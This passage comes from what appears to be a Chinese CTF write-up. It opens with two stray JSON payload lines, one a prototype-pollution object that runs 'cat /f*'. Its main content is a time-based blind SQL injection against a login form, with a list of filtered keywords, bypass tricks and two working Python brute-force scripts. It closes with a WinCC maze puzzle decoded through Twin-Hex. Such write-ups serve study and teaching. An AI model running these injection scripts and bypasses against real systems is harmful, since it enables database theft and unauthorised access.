  1. {"user":"{\"constructor\":{\"prototype\":{\"1\":\"cat /f*\"}}}"}
  2. {"user":"{\"command\":[\"-c\"]}"}

image.png

image.png

popsql

开局登录框,测试过滤的字符如下:

  1. passwd 过滤了如下
  2. regexp
  3. between
  4. like
  5. =
  6. <>
  7. "
  8. union
  9. ^
  10. and
  11. |
  12. ascii
  13. mid
  14. left
  15. in
  16. update
  17. extractvalue
  18. substr
  19. &amp;
  20. ;
  21. sleep

发现可以benchmark延时注入:

  1. #这种可以注入,相等时不会延迟,不相等就会延迟
  2. username=admin&amp;password='or/**/if(strcmp(right(database(),1),'q'),benchmark(3e6,sha1('v1nd')),3)#

查表名和列名:
绕过in的一个小trick:
table:sys.schema_table_statistics
column:sys.x$statement_analysis

  1. import string
  2. import requests
  3. import time
  4. table_res=''
  5. att=string.ascii_letters+string.digits+"}{_-.,"
  6. url="http://172.51.61.114/index.php"
  7. for i in range(1,99999999):
  8. for char in att:
  9. use = char + table_res
  10. data={
  11. "username":"admin",
  12. "password":f"'or/**/if(strcmp(right((select/**/group_concat(table_name)/**/from/**/sys.schema_table_statistics),{i}),'{use}'),3,benchmark(10000000,md5('123')))#"
  13. }
  14. try:
  15. res=requests.post(url=url,data=data,timeout=1.1)
  16. except:
  17. table_res=use
  18. print(i)
  19. print(table_res)
  20. time.sleep(1)
  21. break
  1. users,fl49ish3re
  2. f1aG123

注出flag:

  1. import requests
  2. import string
  3. import time
  4. url = 'http://172.51.61.114/index.php'
  5. flag = ''
  6. att=string.ascii_uppercase+string.ascii_lowercase+string.digits+"}{_-.,"
  7. for i in range(1,80):
  8. for a in att:
  9. use=a+flag
  10. # payload="'or/**/if(strcmp(right((select/**/database()),{}),'{}'),benchmark(5e6,sha1('v1nd')),3)#".format(i,use)
  11. # payload="\'or/**/if(strcmp(right((select/**/\'a\'),{}),\'{}\'),benchmark(5e6,sha1(123)),3)#".format(i,use)
  12. # payload="'or/**/if(strcmp(right((select/**/database()),{}),'{}'),2,benchmark(5e6,sha1(123)))#".format(i,use)
  13. # payload="'or/**/if(strcmp(right((select/**/user()),{}),'{}'),2,benchmark(5e6,sha1(123)))#".format(i,use)
  14. # payload="'or/**/if(strcmp(right((select/**/version()),{}),'{}'),2,benchmark(5e6,sha1(123)))#".format(i,use)
  15. # payload="'or/**/if(strcmp(right((select/**/f1aG123/**/from/**/Fl49ish3re),{}),'{}'),2,benchmark(5e6,sha1(123)))#".format(i,use)
  16. payload="'or/**/if(strcmp(ord((right((select/**/f1aG123/**/from/**/Fl49ish3re),{}))),ord('{}')),2,benchmark(5e6,sha1(123)))#".format(i,use)
  17. data={
  18. "username":"admin",
  19. "password":payload
  20. }
  21. # print(payload)
  22. try:
  23. res=requests.post(url=url,data=data,timeout=1)
  24. except:
  25. flag=use
  26. print(flag)
  27. time.sleep(1)
  28. break
  29. # print(flag)
  30. print(flag)
  31. # localhost
  32. # ctfgame
  33. # users,fl49ish3re
  34. # gaaaIaabbaay5.7.39
  35. # RaaaaPLfhbftr1kxd4qudt}
  36. # flag{m0mmarjvu6d7xfdigyhbftr1kxd4qudt} ->1
  37. # iGyHbFTR1kxAAAAAt}
  38. # flag{m0MmARJVu6d7XfdAAAEbFTRBAxD4qUDt} ->2
  39. # iGyHbFTR1kxD4qUDt} ->3
  40. # flag{m0MmARJVu6d7XfdiGyHbFTR1kxD4qUDt} 1、2、3综合一下

0x05 Misc

Welcome

image.png

Black sheep wall

1.根据附件格式,上网搜索,发现需要wincc打开

软件下载地址

https://pan.quark.cn/s/6c4799cbf8a1#/list/share

软件安装教程

https://www.bilibili.com/read/cv17284858

软件非常大,安装特别慢,严格对照教程安装完毕后,在打开项目的时候,把项目中的计算机名修改为自己的计算机名,可正常打开。

2.打开后发现线索1

image.png

3.在工程中图形编辑器,可发现其它线索,并发现一个简单的迷宫,及提示。

image.png

image.png

4.根据底下的提示文本,并对照迷宫图,可知自己所处位置为图形对象22,目的地址为图形对象4

走出迷宫为22-13-4或者是根据提示要带上线索,22-13-4-1-2-1-4

keyword是double,hex ,在工控中为浮点数转hex,但是答案怎么试都不对,感觉就差一步了。

出口的动态也和其它方块不一样

image.png

找到动作1的脚本

image.png

双hex编码

Twin-Hex Cypher encoder and decoder from CalcResult Universal Calculators

58s4vb6sj51z4zd1n81cd4tt1ci10l4wj1hp50i1lx10l1v519w4wm58l1sn4yl

image.png

  • 发表于 2022-11-08 09:30:01
  • 阅读 ( 7029 )
  • 分类:其他

0 条评论

Sakura501
Sakura501

10 篇文章

站长统计